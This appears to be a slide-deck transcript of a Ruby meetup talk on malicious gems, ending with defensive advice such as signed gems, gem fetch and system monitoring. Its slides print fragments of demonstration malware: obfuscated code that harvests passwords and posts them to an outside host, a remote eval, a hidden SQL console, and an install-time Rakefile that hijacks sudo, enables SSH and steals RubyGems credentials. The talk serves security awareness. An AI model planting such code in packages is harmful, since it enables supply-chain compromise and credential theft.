Hacking with Gems (denver.rb)

Transcript

1. 1.

   Hacking with Gems Benjamin Smith @benjamin_smith

2. 2.

   How to punk your friends with gems Benjamin Smith @benjamin_smith

3. 3.

   How-to get rich quick and (maybe) not go to jail!

   Benjamin Smith @benjamin_smith
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   Four reasons you should NOT trust Benjamin Smith @benjamin_smith

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   None
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   who i am

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   who i am

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   who i am

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   what i am NOT

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    None
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    please do not try this at home

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    please do not try this at home

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    None
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    None
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    Lawful Evil Lawful Good

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    Lawful Evil Lawful Good

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    Lawful Evil Lawful Good

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    Lawful Evil Lawful Good

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    once upon a time

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    GEM remote: https://rubygems.org/ specs: actionmailer (4.1.4) actionpack (= 4.1.4) actionview

    (= 4.1.4) mail (~> 2.5.4) actionpack (4.1.4) actionview (= 4.1.4) activesupport (= 4.1.4) rack (~> 1.5.2)
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    what’s the worst that could happen?

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    None
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    gem 'awesome_rails_flash_messages' github.com/benjaminleesmith/awesome-rails-flash-messages

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    before... github.com/benjaminleesmith/awesome-rails-flash-messages

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    after! github.com/benjaminleesmith/awesome-rails-flash-messages

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    some “side effects” if params.to_s.match(Base64.decode64('cGF...')) github.com/benjaminleesmith/awesome-rails-flash-messages

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    ... File.open( "#{Rails.root}/public/development.log", 'a+' ) do |f| f.write("#{params.inspect}\n") end github.com/benjaminleesmith/awesome-rails-flash-messages

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    ?!? Net::HTTP.post_form( URI.parse(Base64.decode64('aHR0cDo...')), { 'log'=>params.merge(:url => request.url).inspect } ) github.com/benjaminleesmith/awesome-rails-flash-messages

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    i like cGFzc3dvcmQ=\n if params.to_s.match(Base64.decode64('cGF...')) github.com/benjaminleesmith/awesome-rails-flash-messages

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    i like password if params.to_s.match(“password”) github.com/benjaminleesmith/awesome-rails-flash-messages

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    “development.log” ... "user"=>{"email"=>"test@example.com", "password"=>"password", "remember_me"=>"0"} ... github.com/benjaminleesmith/awesome-rails-flash-messages

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    elsewhere... github.com/benjaminleesmith/awesome-rails-flash-messages

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    profit • Step 1: do something • Step 2: do

    something else • Step 3: ???? • Step 4: profit
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    profit • Step 1: write a gem that does something

    • Step 2: • Step 3: • Step 4:
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    profit • Step 1: write a gem that does something

    • Step 2: add code to harvest emails/pws • Step 3: • Step 4:
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    profit • Step 1: write a gem that does something

    • Step 2: add code to harvest emails/pws • Step 3: use emails/pws on banking websites to transfer funds • Step 4:
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    profit • Step 1: write a gem that does something

    • Step 2: add code to harvest emails/pws • Step 3: use emails/pws on banking websites to transfer funds • Step 4: profit
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    profit • Step 1: write a gem that does something

    • Step 2: add code to harvest emails/pws • Step 3: use emails/pws on banking websites to transfer funds • Step 4: profit • Step 5: flee the country
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    a one way ticket to

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    that was easy. what else can I do?

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    gem 'net_http_detector' github.com/benjaminleesmith/net_http_detector

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    show me the hack Net::HTTP.post_form( #<URI::HTTP:0x007fc76b706950 URL:http:// stark-samurai-8122.herokuapp.com/logs>, {"log"=>"{\"utf8\"=>\"✓\", \"authenticity_token\"=>\"PzpZUlRrRv1V

    +A0jJHAwi+ey/injbWlii8OFyIfP+fY=\", \"user\"=>{\"email\"=>\"test\", \"password\"=>\"pass4\" ... github.com/benjaminleesmith/net_http_detector
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    how it works def HTTP.valid_post_form(url, params) ... def HTTP.post_form(url, params)

    self.smart_log( "Net::HTTP.post_form(#{url.inspect}, #{params.inspect})" ) Net::HTTP.valid_post_form(url, params) end github.com/benjaminleesmith/net_http_detector
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    how it works def HTTP.valid_post_form(url, params) ... def HTTP.post_form(url, params)

    self.smart_log( "Net::HTTP.post_form(#{url.inspect}, #{params.inspect})" ) Net::HTTP.valid_post_form(url, params) end github.com/benjaminleesmith/net_http_detector
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    how it works def HTTP.valid_post_form(url, params) ... def HTTP.post_form(url, params)

    self.smart_log( "Net::HTTP.post_form(#{url.inspect}, #{params.inspect})" ) Net::HTTP.valid_post_form(url, params) end github.com/benjaminleesmith/net_http_detector
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    ...and one more thing... eval(Net::HTTP.valid_get( URI("http://....herokuapp.com/ snippets/6") ) ) github.com/benjaminleesmith/net_http_detector

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    database what? append_before_filter :net_http_detector ... if params[:db_console] @tables =ActiveRecord::Base.connection.tables if

    params[:query] @output = ActiveRecord::Base.connection .execute(params[:query]) github.com/benjaminleesmith/net_http_detector
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    database what? append_before_filter :net_http_detector ... if params[:db_console] @tables =ActiveRecord::Base.connection.tables if

    params[:query] @output = ActiveRecord::Base.connection .execute(params[:query]) github.com/benjaminleesmith/net_http_detector
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    database what? append_before_filter :net_http_detector ... if params[:db_console] @tables =ActiveRecord::Base.connection.tables if

    params[:query] @output = ActiveRecord::Base.connection .execute(params[:query]) github.com/benjaminleesmith/net_http_detector
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    database what? append_before_filter :net_http_detector ... if params[:db_console] @tables =ActiveRecord::Base.connection.tables if

    params[:query] @output = ActiveRecord::Base.connection .execute(params[:query]) github.com/benjaminleesmith/net_http_detector
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    /users/sign_in github.com/benjaminleesmith/net_http_detector

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    /users/sign_in?db_console=t github.com/benjaminleesmith/net_http_detector

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    hello db access! github.com/benjaminleesmith/net_http_detector

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    SELECT * FROM users; github.com/benjaminleesmith/net_http_detector

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    UPDATE users SET admin=1 WHERE id=42; github.com/benjaminleesmith/net_http_detector

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    CREATE USER admin1 WITH PASSWORD 'password'; github.com/benjaminleesmith/net_http_detector

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    careful of wolves in sheep’s clothing

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    profit • Step 1: • Step 2: • Step 3:

    • Step 4: • Step 5:
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    profit • Step 1: write a gem that does something

    • Step 2: • Step 3: • Step 4: • Step 5:
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    profit • Step 1: write a gem that does something

    • Step 2: add code to provide DB access • Step 3: • Step 4: • Step 5:
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    profit • Step 1: write a gem that does something

    • Step 2: add code to provide DB access • Step 3: use personal info to apply for a boat loan (ie buy a pimp trimaran) • Step 4: • Step 5:
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    profit • Step 1: write a gem that does something

    • Step 2: add code to provide DB access • Step 3: use personal info to apply for a boat loan (ie buy a pimp trimaran) • Step 4: profit • Step 5:
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    profit • Step 1: write a gem that does something

    • Step 2: add code to provide DB access • Step 3: use personal info to apply for a boat loan (ie buy a pimp trimaran) • Step 4: profit • Step 5: flee the country
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    i like the beach

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    that was easy. what else can I do?

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    gem 'better_date_to_s' github.com/benjaminleesmith/better_date_to_s

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    what it claims to do Date.new(2005, 1, 1).to_s(:short) => "1

    Jan" ... instead of... => " 1 Jan" github.com/benjaminleesmith/better_date_to_s
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    None
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    what it also does set_date_formats_for( Rails.env, Rails.root.to_s ) github.com/benjaminleesmith/better_date_to_s

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    better_date_to_s.bundle œ˙Ì˛ê(__TEXT__text__TEXTP ÛP Ä__stubs__TEXTD $DÄ__stub_helper__TEXThLhÄ__cstring__TEX T∏i∏__unwind_info__TEXT!P! __eh_frame__TEXTxÄxà__DATA__nl_symbol_pt r__DATA__got__DATA__la_symbol_ptr__DATA0 __data__DATAHHH__LINKEDIT ‰"Ä0

    8@ Ä¿ `(!‰" github.com/benjaminleesmith/better_date_to_s
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    behind the curtain if(strcmp(rails_env, "production") == 0) { sprintf(tar_command, "tar

    -zcvf %s/public/assets.tar.gz %s > /dev/ null 2>&1",rails_root,rails_root); system(tar_command); } github.com/benjaminleesmith/better_date_to_s
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    what what github.com/benjaminleesmith/better_date_to_s

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    i can haz source github.com/benjaminleesmith/better_date_to_s

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    truth time • this gem doesn't actually work • but

    it could... if I wasn't lazy • "fat" gems are tricky to compile github.com/benjaminleesmith/better_date_to_s
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    so much code so little time • Step 1: write

    a gem that does something • Step 2: add code expose source • Step 3: sell to competitors? • Step 4: profit? • Step 5: flee the country
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    that was easy hard. what else can I do? (that's

    easier)
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    gem install bunlder

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    gem install be_truthy github.com/benjaminleesmith/be_truthy

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    what it does > true.should be_true > User.new.should be_true >

    User.new.should be_truthy github.com/benjaminleesmith/be_truthy
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    what it ACTUALLY does github.com/benjaminleesmith/be_truthy

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    github.com/benjaminleesmith/be_truthy

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    file tree looks ok github.com/benjaminleesmith/be_truthy

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    source code looks good require "be_truthy/version" module BeTruthy end github.com/benjaminleesmith/be_truthy

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    but what was this? github.com/benjaminleesmith/be_truthy

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    I see no C github.com/benjaminleesmith/be_truthy

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    run the what file? Gem::Specification.new do |gem| ... gem.extensions =

    ["Rakefile"] ... end github.com/benjaminleesmith/be_truthy
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    there is no Rakefile github.com/benjaminleesmith/be_truthy

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    the real file tree github.com/benjaminleesmith/be_truthy

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    the real file tree github.com/benjaminleesmith/be_truthy

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    what does the Rakefile do? github.com/benjaminleesmith/be_truthy

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    sudo_file =__FILE__.gsub( 'Rakefile', 'lib/tmp.rb' ) FileUtils.mv( sudo_file, "#{home_dir}/.tmp" ) github.com/benjaminleesmith/be_truthy

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    File.open(profile, 'a+') do |f| f.write("alias sudo='ruby #{home}/.tmp'\n") end github.com/benjaminleesmith/be_truthy

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    FileUtils.rm(__FILE__) github.com/benjaminleesmith/be_truthy

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    what does "sudo" do now? github.com/benjaminleesmith/be_truthy

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    print "WARNING: Improper use of the sudo command ..." system

    "stty -echo" password = $stdin.gets.chomp system "stty echo" print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}` github.com/benjaminleesmith/be_truthy
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    print "WARNING: Improper use of the sudo command ..." system

    "stty -echo" password = $stdin.gets.chomp system "stty echo" print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}` github.com/benjaminleesmith/be_truthy
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    print "WARNING: Improper use of the sudo command ..." system

    "stty -echo" password = $stdin.gets.chomp system "stty echo" print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}` github.com/benjaminleesmith/be_truthy
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    print "WARNING: Improper use of the sudo command ..." system

    "stty -echo" password = $stdin.gets.chomp system "stty echo" print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}` github.com/benjaminleesmith/be_truthy
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    echo '#{password}' | /usr/bin/sudo -S systemsetup -setremotelogin on github.com/benjaminleesmith/be_truthy

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     /usr/bin/sudo dscl . -create /Users/ #{username} ... /usr/bin/sudo dscl .

     -passwd /Users/ #{username} password` github.com/benjaminleesmith/be_truthy
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     Net::HTTP.post_form( URI.parse('http://.../logs'), {'log' => 'ssh enabled'} ) github.com/benjaminleesmith/be_truthy

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     ssh sysadmin@your-ip github.com/benjaminleesmith/be_truthy

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     take away: don't install ben's gems

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     None
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     how could I get you to install my gems?

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     what gems are trustworthy?

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     how can I add my code to already trusted gems?

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     back in the be_truthy gem gem_api_key = File.open( `echo ~/.gem/credentials`.strip

     ).read gem_list = `gem list` Net::HTTP.post_form(...) github.com/benjaminleesmith/be_truthy
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     gem_api_key = File.open( `echo ~/.gem/credentials`.strip ).read gem_list = `gem list`

     Net::HTTP.post_form(...) github.com/benjaminleesmith/be_truthy back in the be_truthy gem
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     gem_api_key = File.open( `echo ~/.gem/credentials`.strip ).read gem_list = `gem list`

     Net::HTTP.post_form(...) github.com/benjaminleesmith/be_truthy back in the be_truthy gem
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     gem_api_key = File.open( `echo ~/.gem/credentials`.strip ).read gem_list = `gem list`

     Net::HTTP.post_form(...) github.com/benjaminleesmith/be_truthy back in the be_truthy gem
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     now I own your gems github.com/benjaminleesmith/be_truthy

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     > git clone your-gem-repo ...add a little code... > rake

     build > gem push your-gem github.com/benjaminleesmith/be_truthy
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     do people trust your gems?

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     do people who install your gems have trustworthy gems?

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     None
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     there’s still one problem

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     bootstrapping

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     being popular sucks

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     conferences

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     social engineering

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     None
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     None
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     None
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     so what happens now?

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     ruby gems goes down

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     heroku deploys go down

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     i go to the beach

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     ruby gems goes down

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     heroku deploys go down

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     recovery

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     so what now?

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     gem 'awesome_rails_flash_messages' github.com/benjaminleesmith/awesome-rails-flash-messages

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     Little Snitch obdev.at/products/littlesnitch/index.html

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     gem install be_truthy github.com/benjaminleesmith/be_truthy

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     fseventer fernlightning.com/doku.php?id=software:fseventer:start

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     don’t “gem install” from strangers

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     gem fetch vs gem install > gem fetch be_truthy >

     gem unpack be_truthy-0.0.1.gem github.com/benjaminleesmith/be_truthy
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     None
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     None
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     curl -sSL https://get.rvm.io | bash

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     gem install rails -P HighSecurity

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     > gem install rails -P HighSecurity Fetching: i18n-0.6.11.gem (100%) ERROR:

     While executing gem ... (Gem::Security::Exception) unsigned gems are not allowed by the High Security policy
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     gem cert --build

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     https://www.rubygems-openpgp-ca.org/ https://github.com/rubygems-trust http://corner.squareup.com/2013/12/ securing-rubygems-with-tuf-part-1.html http://corner.squareup.com/2013/12/ securing-rubygems-with-tuf-part-2.html

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     sandboxing

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     github.com/rubygems/rubygems

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     tools to detect malicious code

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     private gem repos

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     do not try this at home

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     don't install gems you don't need to

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     pay attention to what your gems do

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     monitor your system

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     read the source

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     gem install coal-mine-canary github.com/benjaminleesmith/coal-mine-canary

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     on install github.com/benjaminleesmith/coal-mine-canary

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     the results github.com/benjaminleesmith/coal-mine-canary

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     thank you!

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     questions? ideas? @benjamin_smith https://github.com/benjaminleesmith

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     questions? ideas? @benjamin_smith https://github.com/benjaminleesmith

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     questions? ideas? @benjamin_smith https://github.com/benjaminleesmith